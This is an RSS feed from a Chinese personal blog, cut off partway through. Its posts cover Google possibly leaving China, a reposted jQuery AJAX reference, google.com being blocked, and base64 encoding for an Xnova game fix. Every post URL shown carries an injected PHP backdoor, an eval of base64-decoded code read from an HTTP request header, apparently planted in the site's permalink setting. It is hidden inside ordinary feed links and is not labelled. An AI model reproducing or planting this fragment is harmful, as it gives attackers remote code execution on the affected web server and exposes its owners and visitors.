<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>铁船长网志</title>
	<atom:link href="http://blog.debye.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.debye.org</link>
	<description>人非生而知之者，孰能无惑</description>
	<pubDate>Thu, 14 Jan 2010 00:25:58 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google退出可能和Gmail帐号有关</title>
		<link>http://blog.debye.org/2010/01/13/google%e9%80%80%e5%87%ba%e5%8f%af%e8%83%bd%e5%92%8cgmail%e5%b8%90%e5%8f%b7%e6%9c%89%e5%85%b3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2010/01/13/google%e9%80%80%e5%87%ba%e5%8f%af%e8%83%bd%e5%92%8cgmail%e5%b8%90%e5%8f%b7%e6%9c%89%e5%85%b3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 00:25:58 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[个人日志]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://blog.debye.org/?p=964</guid>
		<description><![CDATA[昨天google在自己的博客里面说google可能会退出中国，google.cn网站可能关闭等。我一直使用google搜索，使用google的邮箱，使用google很多有用的服务，感谢google。

通过搜索发现很多传闻说google退出可能和Gmail帐号有关。昨天还只是在看新闻，今天就有点相信了。因为早上上班打开我的Gmail，发现有一条提示，如下：
	您好，请注意，如果您丧失了对自己帐户的访问权限，可以向 XXXXX@XXX.com 发送密码重置信息。 该地址正确 &#124;更新该地址	
XXXXX@XXX.com是我注册google的邮件地址。
不多说了，很快我们就会知道结果了。个人希望google不要退出，要是真退出了，只能用google.com或者微软的bing了。
]]></description>
			<content:encoded><![CDATA[<p>昨天google在自己的博客里面说google可能会退出中国，google.cn网站可能关闭等。我一直使用google搜索，使用google的邮箱，使用google很多有用的服务，感谢google。<br />
<span id="more-964"></span><br />
通过搜索发现很多传闻说google退出可能和Gmail帐号有关。昨天还只是在看新闻，今天就有点相信了。因为早上上班打开我的Gmail，发现有一条提示，如下：<br />
	<strong>您好，请注意，如果您丧失了对自己帐户的访问权限，可以向 XXXXX@XXX.com 发送密码重置信息。 该地址正确 |更新该地址	</strong><br />
XXXXX@XXX.com是我注册google的邮件地址。<br />
不多说了，很快我们就会知道结果了。个人希望google不要退出，要是真退出了，只能用google.com或者微软的bing了。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2010/01/13/google%e9%80%80%e5%87%ba%e5%8f%af%e8%83%bd%e5%92%8cgmail%e5%b8%90%e5%8f%b7%e6%9c%89%e5%85%b3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>jQuery.ajax使用方法(转)</title>
		<link>http://blog.debye.org/2009/12/21/jqueryajax%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e8%bd%ac/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/12/21/jqueryajax%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e8%bd%ac/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 01:06:51 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[Ogame网页游戏]]></category>

		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<guid isPermaLink="false">http://blog.debye.org/?p=960</guid>
		<description><![CDATA[最近想对星战部分游戏代码做Ajax处理，Google到了这篇文章，先保存下来自己看吧。

jQuery.ajax( options )
参数:
    * options
返回值:
    * XMLHttpRequest
使用HTTP请求一个页面。
这是jQuery的低级AJAX实现。要查看高级抽象，见$.set、$.post等，这些方法更易于理解和使用。但是功能上有限制(例如，没有错误处理函数)。
警告：如果数据类型指定为&#8221;script&#8221;，那么POST自动转化为GET方法。(因为script会作为一个嵌入页面的script标签进行载入)
$.ajax()函数返回它创建的XMLHttpRequest对象。在大部分情况下，你不需要直接操作此对象。通常，这个XMLHttpRequest对象主要用于需要手动中断XMLHttpRequest请求的时候。
注意：如果你指明了下面列出的数据类型，请确保服务端发送了正确的MIME响应类型(如. xml 的类型是 &#8220;text/xml&#8221;)。错误的MIME类型能够导致脚本出现意想不到的问题。请查看AJAX的范例来了解数据类型的更多信息。
$.ajax()函数需要一个参数，一个包含有键/值对的对象，用于初始化并操作请求对象。
在jQuery 1.2版本中，如果你指明了一个JSONP回调函数，你就可以从其它的域中载入JSON类型的数据，写法类似于 &#8220;myurl?callback=?&#8221; 。jQuery会自动调用正确的方法名称来代替查询字符串，执行你指定的回调函数。或者，你也可以指定jsonp的数据类型的回调函数，此函数会自动添加到Ajax请求中。
参数选项:
async(true) 数据类型: Boolean
    默认情况下，所有的请求都是异步发送的(默认为true)。 如果需要发送同步请求, 设置选项为false。注意，同步请求可能会暂时的锁定浏览器, 当请求激活时不能进行任何操作。
beforeSend 数据类型: Function
    一个预处理函数用于在发送前修改XMLHttpRequest对象，设置自定义头部等。 XMLHttpRequest作为惟一的参数被传递。这是一个 Ajax 事件。
    function (XMLHttpRequest) {
      this; // the options for this ajax [...]]]></description>
			<content:encoded><![CDATA[<p>最近想对星战部分游戏代码做Ajax处理，Google到了这篇文章，先保存下来自己看吧。<br />
<span id="more-960"></span><br />
<strong>jQuery.ajax( options )</strong></p>
<p>参数:</p>
<p>    * options</p>
<p>返回值:</p>
<p>    * XMLHttpRequest</p>
<p>使用HTTP请求一个页面。</p>
<p>这是jQuery的低级AJAX实现。要查看高级抽象，见$.set、$.post等，这些方法更易于理解和使用。但是功能上有限制(例如，没有错误处理函数)。</p>
<p>警告：如果数据类型指定为&#8221;script&#8221;，那么POST自动转化为GET方法。(因为script会作为一个嵌入页面的script标签进行载入)</p>
<p>$.ajax()函数返回它创建的XMLHttpRequest对象。在大部分情况下，你不需要直接操作此对象。通常，这个XMLHttpRequest对象主要用于需要手动中断XMLHttpRequest请求的时候。</p>
<p>注意：如果你指明了下面列出的数据类型，请确保服务端发送了正确的MIME响应类型(如. xml 的类型是 &#8220;text/xml&#8221;)。错误的MIME类型能够导致脚本出现意想不到的问题。请查看AJAX的范例来了解数据类型的更多信息。</p>
<p>$.ajax()函数需要一个参数，一个包含有键/值对的对象，用于初始化并操作请求对象。</p>
<p>在jQuery 1.2版本中，如果你指明了一个JSONP回调函数，你就可以从其它的域中载入JSON类型的数据，写法类似于 &#8220;myurl?callback=?&#8221; 。jQuery会自动调用正确的方法名称来代替查询字符串，执行你指定的回调函数。或者，你也可以指定jsonp的数据类型的回调函数，此函数会自动添加到Ajax请求中。</p>
<p>参数选项:</p>
<p>async(true) 数据类型: Boolean<br />
    默认情况下，所有的请求都是异步发送的(默认为true)。 如果需要发送同步请求, 设置选项为false。注意，同步请求可能会暂时的锁定浏览器, 当请求激活时不能进行任何操作。<br />
beforeSend 数据类型: Function<br />
    一个预处理函数用于在发送前修改XMLHttpRequest对象，设置自定义头部等。 XMLHttpRequest作为惟一的参数被传递。这是一个 Ajax 事件。</p>
<p>    function (XMLHttpRequest) {<br />
      this; // the options for this ajax request<br />
    }</p>
<p>cache(true) 数据类型: Boolean<br />
    jQuery 1.2中新添加的参数, 如果设为false，则会强制浏览器不缓存请求的页面。<br />
complete 数据类型: Function<br />
    当请求完成时执行的函数(在成功或失败之后执行)。这个函数有2个参数: XMLHttpRequest对象和一个描述HTTP相应的状态字符串。 这是一个 Ajax 事件。</p>
<p>    function (XMLHttpRequest, textStatus) {<br />
      this; // the options for this ajax request<br />
    }</p>
<p>contentType(&#8221;application/x-www-form-urlencoded&#8221;) 数据类型: String<br />
    发送到服务器的数据的内容类型。默认是 &#8220;application/x-www-form-urlencoded&#8221;, 适合大多数情况。<br />
data 数据类型: Object,String<br />
    要发送给服务器的数据。如果不是字符串，那么它会被转化为一个查询字符串。在GET请求中它被添加到url的末尾。要防止这种自动转化，请查看 processData选项。 数据对象必须是一组键/值对。如果键对应的值是数组，jQuery会将其值赋给同一个键属性。 例如 {foo:["bar1", "bar2"]} 变为 &#8216;&#038;foo=bar1&#038;foo=bar2&#8242;。<br />
dataType( Intelligent Guess (xml or html)) 数据类型: String<br />
    期待由服务器返回值类型。如果没有明确指定，jQuery会根据实际返回的MIME类型自动的将responseXML或responseText传递给 success指定的回调函数。有效的类型(返回的类型的结果值会作为第一个参数传递给success指定的回调函数)有：</p>
<p>        * &#8220;xml&#8221;: 返回一个可以由jQuery处理的XML文档。<br />
        * &#8220;html&#8221;: 返回文本格式的HTML代码。包括求值后的脚本标记。<br />
        * &#8220;script&#8221;: 将响应作为Javascript语句求值，并返回纯文本。不缓存此脚本，除非设置了cache选项。设置为&#8221;script&#8221;类型会将post方法转换为get方法。<br />
        * &#8220;json&#8221;: 将响应作为JSON求值，并返回一个Javascript对象。<br />
        * &#8220;jsonp&#8221;: 使用JSONP载入一个JSON代码块. 会在URL的末尾添加&#8221;?callback=?&#8221;来指明回调函数。(jQuery 1.2以上的版本支持)<br />
        * &#8220;text&#8221;: 文本格式的字符串<br />
                error 数据类型: Function<br />
                    请求失败时执行的函数。函数具有3个参数: XMLHttpRequest对象,一个描述产生的错误类型和一个可选的异常对象, 如果有的化。 这是一个Ajax 事件。</p>
<p>                    function (XMLHttpRequest, textStatus, errorThrown) {<br />
                      // typically only one of textStatus or errorThrown<br />
                      // will have info<br />
                      this; // the options for this ajax request<br />
                    }</p>
<p>                global(true) 数据类型: Boolean<br />
                    是否为当前的请求触发全局AJAX事件处理函数，默认值为true。设置为false可以防止触发像ajaxStart或ajaxStop这样的全局事件处理函数。这可以用于控制多个不同的Ajax事件。<br />
                ifModified(false) 数据类型: Boolean<br />
                    只有响应自上次请求后被修改过才承认是成功的请求。是通过检查头部的Last-Modified值实现的。默认值为false，即忽略对头部的检查<br />
                jsonp 数据类型: String<br />
                    在 jsonp请求中重新设置回调的函数。这个值用于代替&#8217;callback=?&#8217;中的查询字符串。&#8217;callback=?&#8217;位于get请求中url的末尾或是post请求传递的数据中。因此设置 {jsonp:&#8217;onJsonPLoad&#8217;} 会将 &#8216;onJsonPLoad=?&#8217; 传送给服务器。<br />
                processData(true) 数据类型: Boolean<br />
                    在默认的情况下，如果data选项传进的数据是一个对象而不是字符串，将会自动地被处理和转换成一个查询字符串，以适应默认的content- type－－&#8221;application/x-www-form-urlencoded&#8221;。如果想发送DOMDocuments，就要把这个选项设置为 false。<br />
                success 数据类型: Function<br />
                    当请求成功时调用的函数。这个函数会得到二个参数：从服务器返回的数据（根据“dataType”进行了格式化）和一个描述HTTP相应的状态字符串。这是一个 Ajax 事件。</p>
<p>                    function (data, textStatus) {<br />
                      // data could be xmlDoc, jsonObj, html, text, etc&#8230;<br />
                      this; // the options for this ajax request<br />
                    }</p>
<p>                timeout 数据类型: Number<br />
                    如果通过$.ajaxSetup设置了一个全局timeout，那么此函数使用一个局部timeout覆盖了全局timeout(单位为毫秒)。例如，你可以设置比较长的延迟给一个特殊的请求，同时其他所有请求使用1秒的延迟。有关全局延迟，见$.ajaxTimeout()。<br />
                type(&#8221;GET&#8221;) 数据类型: String<br />
                    请求的类型 (&#8221;POST&#8221; 或 &#8220;GET&#8221;), 默认是 &#8220;GET&#8221;。注意：其他的HTTP请求方法，如PUT和DELETE，在这里也可以使用，当时它们并不被所有的浏览器支持。<br />
                url(The current page) 数据类型: String<br />
                    请求发送的目标URL地址<br />
                username 数据类型: String<br />
                    username可用于在响应一个HTTP连接时的认证请求。 </p>
<p>实例</p>
<p>载入并执行一个JavaScript文件。</p>
<p>$.ajax({<br />
  type: &#8220;GET&#8221;,<br />
  url: &#8220;test.js&#8221;,<br />
  dataType: &#8220;script&#8221;<br />
});</p>
<p>保存数据到服务器，完成后通知用户。</p>
<p>$.ajax({<br />
   type: &#8220;POST&#8221;,<br />
   url: &#8220;some.php&#8221;,<br />
   data: &#8220;name=John&#038;location=Boston&#8221;,<br />
   success: function(msg){<br />
     alert( &#8220;Data Saved: &#8221; + msg );<br />
   }<br />
 });</p>
<p>取得一个HTML页面的最新版本。</p>
<p>$.ajax({<br />
  url: &#8220;test.html&#8221;,<br />
  cache: false,<br />
  success: function(html){<br />
    $(&#8221;#results&#8221;).append(html);<br />
  }<br />
});</p>
<p>同步载入数据。在执行请求的时候阻塞浏览器。这是在保证数据的同步性比交互更重要的情况下的一种更好的方法。</p>
<p>var html = $.ajax({<br />
  url: &#8220;some.php&#8221;,<br />
  async: false<br />
 }).responseText;</p>
<p>向服务器发送xml文档数据。通过设置processData选项为false，将数据自动转换为string的动作被禁止了。</p>
<p>var xmlDocument = [create xml document];<br />
 $.ajax({<br />
   url: &#8220;page.php&#8221;,<br />
   processData: false,<br />
   data: xmlDocument,<br />
   success: handleResponse<br />
 });</p>
<p><strong>load( url, [data], [callback] )</strong></p>
<p>参数:</p>
<p>    * url (String): 装入页面的URL地址。<br />
    * params (Map): （可选）发送到服务端的键／值对参数。<br />
    * callback (Function): （可选） 当数据装入完成时执行的函数.</p>
<p>      function (responseText, textStatus, XMLHttpRequest) {<br />
        this; // dom element<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>装入一个远程HTML内容到一个DOM结点。 默认使用get方法发送请求，但如果指定了额外的参数，将会使用post方法发送请求。在 jQuery 1.2中，可以在URL参数中指定一个jQuery选择器，这会过滤返回的HTML文档，只取得文档中匹配选择器的元素。此语法类似于&#8221;url #some > selector&#8221;。</p>
<p>实例</p>
<p>载入文档的sidebar的导航部分到一个无序列表中。</p>
<p>$(&#8221;#links&#8221;).load(&#8221;/Main_Page #p-Getting-Started li&#8221;);</p>
<p>将feeds.html文件载入到id为feeds的div中。</p>
<p>$(&#8221;#feeds&#8221;).load(&#8221;feeds.html&#8221;);</p>
<p>同上，但是发送了附加的参数，并且在响应结束后执行一个自定义函数。</p>
<p>$(&#8221;#feeds&#8221;).load(&#8221;feeds.php&#8221;, {limit: 25}, function(){<br />
   alert(&#8221;The last 25 entries in the feed have been loaded&#8221;);<br />
 });</p>
<p><strong>jQuery.get( url, [data], [callback] )</strong></p>
<p>参数:</p>
<p>    * url (String): 装入页面的URL地址<br />
    * Map(可选): （可选）发送到服务端的键／值对参数<br />
    * callback (Function): （可选） 当远程页面装入完成时执行的函数</p>
<p>      function (data, textStatus) {<br />
        // data可以是xmlDoc, jsonObj, html, text, 等&#8230;<br />
        this; // the options for this ajax request<br />
      }</p>
<p>返回值:</p>
<p>    * XMLHttpRequest</p>
<p>使用GET请求一个页面。</p>
<p>这是向服务器发送get请求的简单方法。它可以指定一个回调函数，在请求完成后执行(只有在请求成功时)。如果还需要设置error和success回调函数，则需要使用$.ajax。</p>
<p>实例</p>
<p>请求test.php页,忽略返回值.</p>
<p>$.get(&#8221;test.php&#8221;);</p>
<p>请求test.php页并发送附加数据(忽略返回值).</p>
<p>$.get(&#8221;test.php&#8221;, { name: &#8220;John&#8221;, time: &#8220;2pm&#8221; } );</p>
<p>显示从test.php请求的返回值(HTML 或 XML, 根据不同返回值).</p>
<p>$.get(&#8221;test.php&#8221;, function(data){<br />
  alert(&#8221;Data Loaded: &#8221; + data);<br />
});</p>
<p>显示向test.cgi发送附加数据请求的返回值 (HTML 或 XML, 根据不同返回值).</p>
<p>$.get(&#8221;test.cgi&#8221;, { name: &#8220;John&#8221;, time: &#8220;2pm&#8221; },<br />
  function(data){<br />
    alert(&#8221;Data Loaded: &#8221; + data);<br />
  });</p>
<p><strong>jQuery.getJSON( url, [data], [callback] )</strong></p>
<p>参数:</p>
<p>    * url (String): 装入页面的URL地址<br />
    * Map(可选): （可选）发送到服务端的键／值对参数<br />
    * callback (Function): （可选） 当数据装入完成时执行的函数</p>
<p>      function (data, textStatus) {<br />
        // data will be a jsonObj<br />
        this; // the options for this ajax request<br />
      }</p>
<p>返回值:</p>
<p>    * XMLHttpRequest</p>
<p>使用GET请求JSON数据。</p>
<p>在jQuery 1.2版本中，如果你指明了一个JSONP回调函数，你就可以从其它的域中载入JSON类型的数据，写法类似于 &#8220;myurl?callback=?&#8221; 。jQuery会自动调用正确的方法名称来代替查询字符串，执行你指定的回调函数。或者，你也可以指定jsonp的数据类型的回调函数，此函数会自动添加到Ajax请求中。注意: 请记住, that lines after this function will be executed before callback.</p>
<p>实例</p>
<p>从Flickr JSONP API中载入最新的四幅猫的图片</p>
<p>$.getJSON(&#8221;http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&#038;tagmode=any&#038;format=json&#038;jsoncallback=?&#8221;,<br />
        function(data){<br />
          $.each(data.items, function(i,item){<br />
            $(&#8221;<img/>&#8220;).attr(&#8221;src&#8221;, item.media.m).appendTo(&#8221;#images&#8221;);<br />
            if ( i == 3 ) return false;<br />
          });<br />
        });</p>
<p>从test.js载入JSON数据， 从返回的JSON数据读取name值。</p>
<p>$.getJSON(&#8221;test.js&#8221;, function(json){<br />
  alert(&#8221;JSON Data: &#8221; + json.users[3].name);<br />
});</p>
<p>从test.js载入JSON数据， 传递一个附加参数，从返回的JSON数据读取name值。</p>
<p>$.getJSON(&#8221;test.js&#8221;, { name: &#8220;John&#8221;, time: &#8220;2pm&#8221; }, function(json){<br />
  alert(&#8221;JSON Data: &#8221; + json.users[3].name);<br />
});</p>
<p>显示向test.php发送请求的返回值 (HTML 或 XML, 根据不同返回值).</p>
<p>$.getIfModified(&#8221;test.php&#8221;, function(data){<br />
  alert(&#8221;Data Loaded: &#8221; + data);<br />
});</p>
<p>显示向test.php发送请求的返回值 (HTML 或 XML, 根据不同返回值)，提供了一个附加的参数.</p>
<p>$.getIfModified(&#8221;test.php&#8221;, { name: &#8220;John&#8221;, time: &#8220;2pm&#8221; },<br />
  function(data){<br />
    alert(&#8221;Data Loaded: &#8221; + data);<br />
  });</p>
<p>列出从pages.php返回的查询结果，将返回的数组转化为一段HTML代码。</p>
<p>var id=$(&#8221;#id&#8221;).attr(&#8221;value&#8221;);<br />
  $.getJSON(&#8221;pages.php&#8221;,{id:id},dates);<br />
function dates(datos)<br />
{<br />
 $(&#8221;#list&#8221;).html(&#8221;Name:&#8221;+datos[1].name+&#8221;<br />&#8220;+&#8221;Last Name:&#8221;+datos[1].lastname+&#8221;<br />&#8220;+&#8221;Address:&#8221;+datos[1].address);<br />
}</p>
<p><strong>jQuery.getScript( url, [callback] )</strong></p>
<p>参数:</p>
<p>    * url (String): 装入页面的URL地址<br />
    * callback (Function): （可选） 当数据装入完成时执行的函数</p>
<p>      function (data, textStatus) {<br />
        // data应该是javascript<br />
        this; // the options for this ajax request<br />
      }</p>
<p>返回值:</p>
<p>    * XMLHttpRequest</p>
<p>使用GET请求JavaScript文件并执行。</p>
<p>在jQuery 1.2前, getScript只能从页面所在的主机载入脚本，1.2中, 你可以从任何主机载入脚本。警告: Safari 2 及其更老的版本不能在全局上下文中正确识别脚本。如果你通过getScript载入函数，请保证设置一个延迟来执行这个脚本。</p>
<p>实例</p>
<p>我们动态的载入一个新的官方jQuery颜色动画插件，载入后绑定一些动画效果到元素上。</p>
<p>$.getScript(&#8221;http://dev.jquery.com/view/trunk/plugins/color/jquery.color.js&#8221;, function(){<br />
  $(&#8221;#go&#8221;).click(function(){<br />
    $(&#8221;.block&#8221;).animate( { backgroundColor: &#8216;pink&#8217; }, 1000)<br />
      .animate( { backgroundColor: &#8216;blue&#8217; }, 1000);<br />
  });<br />
});</p>
<p>载入test.js JavaScript文件并执行。</p>
<p>$.getScript(&#8221;test.js&#8221;);</p>
<p>载入test.js JavaScript文件并执行,当执行结束后显示一条警告信息。</p>
<p>$.getScript(&#8221;test.js&#8221;, function(){<br />
  alert(&#8221;Script loaded and executed.&#8221;);<br />
});</p>
<p><strong>jQuery.post( url, [data], [callback], [type] )</strong></p>
<p>参数:</p>
<p>    * url (String): 装入页面的URL地址<br />
    * Map(可选): （可选）发送到服务端的键／值对参数<br />
    * callback (Function): （可选） 当数据装入完成时执行的函数</p>
<p>      function (data, textStatus) {<br />
        // data可能是 xmlDoc, jsonObj, html, text, 等&#8230;<br />
        this; // the options for this ajax request<br />
      }</p>
<p>    * String</p>
<p>      $.postJSON = function(url, data, callback) {<br />
       $.post(url, data, callback, &#8220;json&#8221;);<br />
      };</p>
<p>返回值:</p>
<p>    * XMLHttpRequest</p>
<p>使用POST请求一个页面。</p>
<p>这是向服务器发送post请求的简单方法。它可以指定一个回调函数，在请求完成后执行(只有在请求成功时)。如果还需要设置error和success回调函数，则需要使用$.ajax。<br />
ajaxComplete( callback )</p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function (event, XMLHttpRequest, ajaxOptions) {<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>当一个AJAX请求结束后，执行一个函数。这是一个Ajax事件</p>
<p>实例</p>
<p>当AJAX请求完成时显示一条信息。</p>
<p>$(&#8221;#msg&#8221;).ajaxComplete(function(request, settings){<br />
   $(this).append(&#8221;
<li>Request Complete.</li>
<p>&#8220;);<br />
 });</p>
<p><strong>ajaxError( callback )</strong></p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function (event, XMLHttpRequest, ajaxOptions, thrownError) {<br />
        // thrownError only passed if an error was caught<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>当一个AJAX请求失败后，执行一个函数。这是一个Ajax事件.</p>
<p>实例</p>
<p>当AJAX请求错误时显示一条信息。</p>
<p>$(&#8221;#msg&#8221;).ajaxError(function(request, settings){<br />
   $(this).append(&#8221;
<li>Error requesting page &#8221; + settings.url + &#8220;</li>
<p>&#8220;);<br />
 });</p>
<p><strong>ajaxSend( callback )</strong></p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function (event, XMLHttpRequest, ajaxOptions) {<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>在一个AJAX请求发送时，执行一个函数。这是一个Ajax事件.</p>
<p>实例</p>
<p>当AJAX请求发出后显示一条信息。</p>
<p>$(&#8221;#msg&#8221;).ajaxSend(function(evt, request, settings){<br />
   $(this).append(&#8221;
<li<Starting request at " + settings.url + "</li<");<br />
 });</p>
<p><strong>ajaxStart( callback )</strong></p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function () {<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>在一个AJAX请求开始但还没有激活时，执行一个函数。这是一个Ajax事件.</p>
<p>实例</p>
<p>当AJAX请求开始(并还没有激活时)显示loading信息。</p>
<p>$(&#8221;#loading&#8221;).ajaxStart(function(){<br />
   $(this).show();<br />
 });</p>
<p><strong>ajaxStop( callback )</strong></p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function () {<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>当所有的AJAX都停止时，执行一个函数。这是一个Ajax事件.</p>
<p>实例</p>
<p>当所有AJAX请求都停止时，隐藏loading信息。</p>
<p>$(&#8221;#loading&#8221;).ajaxStop(function(){<br />
   $(this).hide();<br />
 });</p>
<p><strong>ajaxSuccess( callback )</strong></p>
<p>参数:</p>
<p>    * callback (Function): 要执行的函数</p>
<p>      function (event, XMLHttpRequest, ajaxOptions) {<br />
        this; // dom element listening<br />
      }</p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>当一个AJAX请求成功完成后，执行一个函数。这是一个Ajax事件</p>
<p>实例</p>
<p>当AJAX请求成功完成时，显示信息。</p>
<p>$(&#8221;#msg&#8221;).ajaxSuccess(function(evt, request, settings){<br />
   $(this).append(&#8221;
<li>Successful Request!</li>
<p>&#8220;);<br />
 });</p>
<p><strong>jQuery.ajaxSetup( options )</strong></p>
<p>参数:</p>
<p>    * Options: 用于Ajax请求的键／值对</p>
<p>为所有的AJAX请求进行全局设置。查看$.ajax函数取得所有选项信息。</p>
<p>实例</p>
<p>设置默认的全局AJAX请求选项。</p>
<p>$.ajaxSetup({<br />
  url: &#8220;/xmlhttp/&#8221;,<br />
  global: false,<br />
  type: &#8220;POST&#8221;<br />
});<br />
$.ajax({ data: myData });</p>
<p><strong>serialize( )</strong></p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>以名称和值的方式连接一组input元素。返回值类似于： single=Single2&#038;multiple=Multiple&#038;multiple=Multiple3&#038;radio=radio2 。在jQuery 1.2中。serialize方法实现了正确表单元素序列，而不再需要插件支持。</p>
<p>实例</p>
<p>连接表单元素的一组查询字符串，可用于发送Ajax请求。</p>
<p>function showValues() {<br />
      var str = $(&#8221;form&#8221;).serialize();<br />
      $(&#8221;#results&#8221;).text(str);<br />
    }</p>
<p>    $(&#8221;:checkbox, :radio&#8221;).click(showValues);<br />
    $(&#8221;select&#8221;).change(showValues);<br />
    showValues();</p>
<p><strong>serializeArray( )</strong></p>
<p>返回值:</p>
<p>    * jQuery</p>
<p>连接所有的表单和表单元素(类似于.serialize()方法)，但是返回一个JSON数据格式。</p>
<p>实例</p>
<p>从form中取得一组值，显示出来</p>
<p>function showValues() {<br />
      var fields = $(&#8221;:input&#8221;).serializeArray();<br />
      alert(fields);<br />
      $(&#8221;#results&#8221;).empty();<br />
      jQuery.each(fields, function(i, field){<br />
        $(&#8221;#results&#8221;).append(field.value + &#8221; &#8220;);<br />
      });<br />
    }</p>
<p>    $(&#8221;:checkbox, :radio&#8221;).click(showValues);<br />
    $(&#8221;select&#8221;).change(showValues);<br />
    showValues();</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/12/21/jqueryajax%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e8%bd%ac/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>google.com不能访问</title>
		<link>http://blog.debye.org/2009/06/25/googlecom%e4%b8%8d%e8%83%bd%e8%ae%bf%e9%97%ae/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/25/googlecom%e4%b8%8d%e8%83%bd%e8%ae%bf%e9%97%ae/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 25 Jun 2009 05:40:59 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[个人日志]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=947</guid>
		<description><![CDATA[从2009.6.25早上10左右开始，google.com不能访问（本人所用的深圳ADSL），包括gamil.com。google.com整个域名都不能访问，不知道什么情况。
使用google.cn搜索了下，发现国内部分地区都出现了，估计是和最近的google涉黄有关吧。真相不得而知，日志留念。
]]></description>
			<content:encoded><![CDATA[<p>从2009.6.25早上10左右开始，google.com不能访问（本人所用的深圳ADSL），包括gamil.com。google.com整个域名都不能访问，不知道什么情况。</p>
<p>使用google.cn搜索了下，发现国内部分地区都出现了，估计是和最近的google涉黄有关吧。真相不得而知，日志留念。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/25/googlecom%e4%b8%8d%e8%83%bd%e8%ae%bf%e9%97%ae/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:PHP base64 code 编码</title>
		<link>http://blog.debye.org/2009/06/17/xnova-fixphp-base64-code-%e7%bc%96%e7%a0%81/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/17/xnova-fixphp-base64-code-%e7%bc%96%e7%a0%81/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 04:44:13 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=944</guid>
		<description><![CDATA[Xnova Fix：Xnova探测消息直接导入到模拟器功能，数组已经序列化好了，但是不能直接通过URL方式传递。原因是序列化后的字符串里面有一些引号，构造URL或者使用的时候，里面引号不能很好的解决。这个时候需要将字符串以BASE64编码，此编码方式可以让我们的URL在网络上顺利传输。

在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线，共 64 个基本字符，不包含其它特殊的字符。编码后的字符串比原来的字符串长度再加 1/3 左右，基本上不会太长。
具体的使用方法很简单，使用base64_encode(string data)编码，然后传递；接收后，使用base64_decode(string encoded_data)解码，得到序列化字符串。
至此，探测消息直接导入到模拟器功能中，所有的技术问题都解决了，相当的麻烦。可能还有更好的方法，我没有想到。
